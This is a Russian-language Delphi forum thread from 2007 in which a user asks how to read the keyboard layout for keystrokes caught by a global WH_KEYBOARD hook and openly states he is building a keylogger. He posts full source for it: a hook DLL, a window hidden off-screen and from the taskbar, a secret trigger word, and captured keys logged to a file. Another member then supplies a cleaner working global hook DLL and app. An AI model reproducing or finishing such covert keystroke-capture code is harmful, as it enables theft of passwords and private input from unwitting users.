Как узнать язык в окне?

← →
Вредитель (2007-12-09 12:01) [0]

Нужен способ узнать язык ввода в окне, от которого приходит message, пойманное ловушкой WH_KEYBOARD.

← →
Leonid Troyanovsky © (2007-12-09 12:16) [1]

> Вредитель (09.12.07 12:01)

Вредителям, IMHO, язык излишен.

GetKeyboardLayout, RTFM

--
Regards, LVT.

← →
Вредитель (2007-12-09 12:56) [2]

var hl:HKL; hl:=GetKeyboardLayout(msg.hwnd); if hl=LANG_ENGLISH then ShowMessage("!!!");
msg.hwnd--не прет!
Чё заместо него должно быть?

← →
Leonid Troyanovsky © (2007-12-09 13:11) [3]

> Вредитель (09.12.07 12:56) [2]

> Чё заместо него должно быть?

http://msdn2.microsoft.com/en-us/library/ms646296.aspx

--
Regards, LVT.

← →
Вредитель (2007-12-10 16:16) [4]

hl:=GetKeyboardLayout(0); if hl=LANG_ENGLISH then ShowMessage("!!!");
Вроде так, но не пашет! А должно -- все как на MSDN!

← →
clickmaker © (2007-12-10 16:24) [5]

if Word(hl)=LANG_ENGLISH then

← →
Rouse_ © (2007-12-10 16:24) [6]

вот тебе кусочек кода, на вход идет AHandle:

WndInfo.dwThreadID := GetWindowThreadProcessId(AHandle, WndInfo.dwProcessID); AttachThreadInput(GetCurrentThreadId, WndInfo.dwThreadID, True); VerLanguageName(GetKeyboardLayout(WndInfo.dwThreadID) and $FFFF, WndInfo.szLayoutName, MAXCHAR); AttachThreadInput(GetCurrentThreadId, WndInfo.dwThreadID, False);

WndInfo.szLayoutName - содержит описание раскладки

← →
Вредитель (2007-12-10 16:58) [7]

Извините, может туплю, но че такое AHandle? У просто Handle параметров нет!

← →
Rouse_ © (2007-12-10 17:01) [8]

> но че такое AHandle?

Это переменная, в которую должен быть помещен хэнд окна, для которого ты пытаешся получить раскладку. В справке прочти описание по данным функциях - должно помочь.

← →
Вредитель (2007-12-10 17:30) [9]

В справке нет, а пишу клав. шпиона, все готово, кроме языков!!!

← →
Германн © (2007-12-10 17:40) [10]

> Вредитель (10.12.07 17:30) [9]
>
> В справке нет

Не ври. В справке все есть.

← →
Вредитель © (2007-12-10 18:40) [11]

В какой справке?
Если можно, кто нибудь киньте мне на mail этот раздел, я весь HD проискал, у меня нет!

← →
Rouse_ © (2007-12-10 19:27) [12]

Первая функция: http://msdn2.microsoft.com/en-us/library/ms633522.aspx
Вторая: http://msdn2.microsoft.com/en-us/library/ms681956.aspx
Третья: http://msdn2.microsoft.com/en-us/library/ms647463.aspx
Четвертая: http://msdn2.microsoft.com/en-us/library/ms646296.aspx

Ну а это тебе в список самых любимых ссылок (Online MSDN): http://msdn.microsoft.com/library/default.asp

← →
Германн © (2007-12-10 22:03) [13]

> Вредитель © (10.12.07 18:40) [11]
>
> В какой справке?
>

Лучше конечно читать MSDN, как предагается в [12].
Но возвращаясь к вопросу р встроенной в Дельфи справке я не верю что на твоем HD нет папки X:\Program Files\Common Files\Borland Shared\MSHelp

← →
Вредитель © (2007-12-11 12:16) [14]

> WndInfo.dwThreadID := GetWindowThreadProcessId(AHandle,
> WndInfo.dwProcessID); AttachThreadInput(GetCurrentThreadId,
> WndInfo.dwThreadID, True); VerLanguageName(GetKeyboardLayout(WndInfo.
> dwThreadID) and $FFFF, WndInfo.szLayoutName, MAXCHAR);
> AttachThreadInput(GetCurrentThreadId, WndInfo.dwThreadID,
> False);

На MSDN все нашел, спасибо.
Но при первом же message DLL виснет.

← →
Rouse_ © (2007-12-11 13:26) [15]

Для вызова данного кода библиотека не нужна :)

← →
Вредитель © (2007-12-11 13:59) [16]

Вызывается он из формы.
Вся конструкция такова: из длл ставится хук WH_KEYBOARD с указанием на процедуру Proc. Proc отсылает пойманное message в Form1 программы Prog. A Form1.OnMessage=messageproc.
var lang:pansiChar; pid:Cardinal; s:String; procedure TForm1.messageproc( var msg: tmsg; var handled: boolean); begin if (msg.message = wm_kbdhook{константа в unit1 и в DLL=0}) then begin s:=GetKeyName(msg.lParam){Это моя процедура для узнавания keyname}; if (IsKeyDown(VK_SHIFT)) then begin {Unit keyboard из GLScene} s:=AnsiUpperCase(s); end; pid := GetWindowThreadProcessId(msg.hwnd, pid); AttachThreadInput(GetCurrentThreadId, pid, True); VerLanguageName(GetKeyboardLayout(pid) and $FFFF, lang, MAXCHAR); AttachThreadInput(GetCurrentThreadId, pid, False); ShowMessage(lang); memo1.Text:=memo1.Text+s; handled:=true; end;

И чего не так?

← →
Rouse_ © (2007-12-11 14:13) [17]

Это что?
procedure TForm1.messageproc( var msg: tmsg; var handled: boolean);

← →
Вредитель © (2007-12-11 14:17) [18]

Это обработчик всех messages, которые приходят форме!

← →
Rouse_ © (2007-12-11 14:21) [19]

Давай код целиком

← →
Вредитель © (2007-12-11 14:34) [20]

unit Form;

interface

uses
windows, messages,keytostr,keyboard, sysutils, classes, graphics, controls, forms, dialogs,
stdctrls, ExtCtrls;

const
swm_kbdhook = "swm_kbdhook";

var
wm_kbdhook : integer = 0;

type
TForm1 = class(TForm)
Memo1: TMemo;
Panel1: TPanel;
Image1: TImage;
Panel2: TPanel;
Image2: TImage;
Panel3: TPanel;
Image3: TImage;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Image1Click(Sender: TObject);
procedure Image2Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Image3Click(Sender: TObject);
private
procedure ShowGeneralWindow;
procedure apponmessage( var msg: tmsg; var handled: boolean);
public
{ Public declarations }
end;

var
Form1: TForm1;
st:String;
lang:pansiChar;
pid:Cardinal;
s:String;
hl:hkl;
ipressed:boolean=false;
t:boolean=false;
counter:integer;
implementation

uses StrUtils;

{$R *.dfm}
{$WARN SYMBOL_PLATFORM OFF}

function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
lresult stdcall;
external "kbdhook.dll" index 1;

function hookkeyboard(
hook : boolean ) : boolean; stdcall;
external "kbdhook.dll" index 2;

procedure TForm1.apponmessage( var msg: tmsg; var handled: boolean);
begin
if (msg.message = wm_kbdhook) then begin
s:=GetKeyName(msg.lParam);
if (IsKeyDown(VK_SHIFT)) then begin
s:=AnsiUpperCase(s);
end;

pid :=
GetWindowThreadProcessId(msg.hwnd, pid);
AttachThreadInput(GetCurrentThreadId, pid, True);
VerLanguageName(GetKeyboardLayout(pid) and $FFFF,
lang, MAXCHAR);
AttachThreadInput(GetCurrentThreadId, pid, False);

if hl=lang_english then ShowMessage(lang);

memo1.Text:=memo1.Text+s;
handled:=true;
begin
if ipressed=true then begin
st:=st+s;
counter:=counter+1;
end;
if s="ш" then begin
ipressed:=true;
st:=s;
counter:=1;
end;
end;

if (counter=5+(5-1)) then begin
if st="шпион" then
begin
ShowGeneralWindow;
st:="";
ipressed:=false;
end
else
begin
st:="";
ipressed:=false;
end;
end;

end;
end;

procedure TForm1.ShowGeneralWindow;
var i:byte;
begin
Form1.Left:=((Screen.Width div 2)-(Form1.Width div 2));
Form1.Top:=((Screen.Height div 2)-(Form1.Height div 2));
SetFocus;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
hookkeyboard( false );
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
wm_kbdhook := registerwindowmessage( swm_kbdhook );
application.onmessage := apponmessage;
hookkeyboard(true);
Form1.Left:=-600;
end;

procedure TForm1.Image1Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Image2Click(Sender: TObject);
begin
memo1.Lines.SaveToFile("C:\Windows\Keys.log");
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
memo1.Lines.SaveToFile("C:\Windows\Keys.log");
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
Form1.Left:=-600;
end;

end.

program Loader;

uses
Forms,windows,
Form in "Form.pas" {Form1};

{$R *.res}

var
EStyle : integer;

begin
Application.Initialize;
EStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
EStyle or WS_EX_TOOLWINDOW);
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

library kbdhook;

{ Important note about DLL memory management: ShareMem must be the
first unit in your library"s USES clause AND your project"s (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }

uses
sysutils,
windows,
messages;

{$R *.res}
{$WARN SYMBOL_PLATFORM OFF}

const
swm_kbdhook = "swm_kbdhook";
var
wm_kbdhook : integer = 0;
var
hookhandle : thandle = 0;

function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
lresult stdcall;
begin
if code < 0 then
result := callnexthookex( hookhandle, code, wparam, lparam )
else begin
postmessage( hwnd_broadcast, wm_kbdhook, wparam, lparam );
result := 0
end;
end;

function hookkeyboard( hook : boolean ) : boolean; stdcall;
begin
result := false;
if hook then begin
if hookhandle = 0 then
hookhandle := setwindowshookex( wh_keyboard, keyboardproc, hinstance,
0 );
result := ( hookhandle <> 0 );
end
else
begin
if hookhandle <> 0 then begin
unhookwindowshookex( hookhandle );
hookhandle := 0;
result := true;
end;
end;
end;

exports
keyboardproc index 1,
hookkeyboard index 2;

begin
wm_kbdhook := registerwindowmessage( swm_kbdhook );
end.

function GetKeyName(key:longint):String ;
begin
case key of
1114113:
begin
Result:=("ц");
end;
1048577:
begin
Result:=("й");
end;
1179649:
и т.д.
....
....
....
....
720897:
begin
Result:=("0");
end;
3735553:
Result:=(" ");
end;
end;

← →
Leonid Troyanovsky © (2007-12-11 14:58) [21]

> Вредитель © (11.12.07 13:59) [16]

> И чего не так?

Для lang память выделять будет Пушкин?

Во-ще-то, человека увлекающегося программированием
приведенный код позорит, особенно,
pid or wm_kbdhook{константа в unit1 и в DLL=0})

--
Regards, LVT.

← →
Leonid Troyanovsky © (2007-12-11 15:16) [22]

> Вредитель © (11.12.07 14:34) [20]

Какой ужас.

--
Regards, LVT.

← →
вредитель © (2007-12-11 15:24) [23]

почему он меня позорит, не понимаю, а там, где if hl then-не оттуда скопировал, там просто showmessage!

и в чем ужас? я знаю, что там много чего можно заменить и убрать, но мне бы сделать, чтобы работало, а уж потом остальное!

> вредитель © (11.12.07 15:46) [24]

> и в чем ужас? я знаю, что там много чего можно заменить
> и убрать, но мне бы сделать,

Приводить нужно необходимое количество кода,
достаточное для воспроизведения проблемы.

Достаточность мы понимаем так, что если нашелся
желающий воспроизвести проблему, то ему достачно
легких движений руки для вставки кода в редактор.

Если проблема не связана с dll, то и нечего на этом
этапе ее обсуждать.

Кста, как там у нас с Александром Сергеевичем?

--
Regards, LVT.

никак. раньше всегда пользовался PAnsiChar без выделения памяти... и даже не в курсе, как это делается(да простят меня, молодого и неопытного).

> вредитель © (11.12.07 16:41) [26]

> никак. раньше всегда пользовался PAnsiChar без выделения
> памяти... и даже не в курсе, как это делается(да простят
> меня, молодого и неопытного).

Добро пожаловать к Начинающим.
Все остальное пока, IMHO, смысла не имеет.

--
Regards, LVT.

getmem, freemem!

Давай лучше я вот так сделаю :)
А ты сравни с тем что у тебя :)

library HookDLL; uses Windows, Messages, SysUtils; const GlobMapID = "Global Keyboard Hook Demo {917C91AA-88D5-4134-BB91-15161728594D}"; type PShareInf = ^TShareInf; TShareInf = record AppWndHandle: HWND; OldHookHandle: HHOOK; hm:THandle; end; var MapHandle: THandle = 0; ShareInf: PShareInf = nil; ptr:PByteArray; procedure DLLEntryPoint(dwReason: DWORD); //stdcall; <- вот это как раз не нужно... begin case dwReason Of DLL_PROCESS_ATTACH: begin // Все данные во избежании разрыва цепочки хуков храним в отображаемом в память процесса файле, // только тогда все экземпляры хука будут владеть достоверной информацией MapHandle:=CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0, SizeOf(TShareInf), GlobMapID); ShareInf:=MapViewOfFile(MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, SizeOf(TShareInf)); end; DLL_PROCESS_DETACH: begin UnMapViewOfFile(ShareInf); CloseHandle(MapHandle); end; end; end; function KeyboardHook(Code: Integer; WParam: WPARAM; LParam: LPARAM): LRESULT;stdcall; begin if Code in [HC_ACTION, HC_NOREMOVE] then SendMessage(ShareInf^.AppWndHandle, WM_USER, WParam, Code); // нотифицируем наше приложение о нажатии клавиши Result := CallNextHookEx(ShareInf^.OldHookHandle, Code, WParam, LParam); // вызываем след. ловушку end; function SetKeyboardHook(Wnd: HWND): BOOL; stdcall; begin if ShareInf <> nil then begin ShareInf^.AppWndHandle := Wnd; ShareInf^.OldHookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHook, HInstance, 0); // <- Обратите внимание, не допускаем главной ошибки Result:=ShareInf^.OldHookHandle <> 0; end else Result:=False; end; function RemoveKeyboardHook: BOOL; stdcall; begin Result := UnhookWindowsHookEx(ShareInf^.OldHookHandle); CloseHandle(ShareInf^.hm); end; exports SetKeyboardHook, RemoveKeyboardHook; begin DLLProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end.

А это приложение :)

unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type Tmainform = class(TForm) Memo1: TMemo; procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public procedure WMUser(var Message: TMessage); message WM_USER; end; function SetKeyboardHook(Wnd: HWND): BOOL; stdcall; external "HookDLL.dll" name "SetKeyboardHook"; function RemoveKeyboardHook: BOOL; stdcall; external "HookDLL.dll" name "RemoveKeyboardHook"; var mainform: Tmainform; implementation {$R *.dfm} procedure TMainForm.WMUser(var Message: TMessage); begin Memo1.Lines.Add("Code: " + IntToStr(Message.WParam) + ": " + Chr(Message.WParam)); end; procedure TMainForm.FormCreate(Sender: TObject); begin if not SetKeyboardHook(Handle) Then MessageBox(Handle, "Unable to set hook", PChar(Application.Title), MB_OK OR MB_ICONHAND); end; procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction); begin if not RemoveKeyboardHook Then MessageBox(Handle, "Unable to remove hook", PChar(Application.Title), MB_OK OR MB_ICONHAND); end; end.

Сравнению не поддается. Leonid Troyanskiy сказал ужас, я думаю, изза неразбитости кода на процедуры, полусумашедшево механизма показа формы. но оно работает! Ф-ия char не показывает английские точки запятые,и т. д. после выделения памяти все заработало, так что за всё спасибо!

← →
имя (2008-10-03 00:37) [31]

Удалено модератором

← →
имя (2008-10-03 06:12) [32]

Удалено модератором

← →
имя (2008-10-03 06:13) [33]

Удалено модератором

Как узнать язык в окне? Найти похожие ветки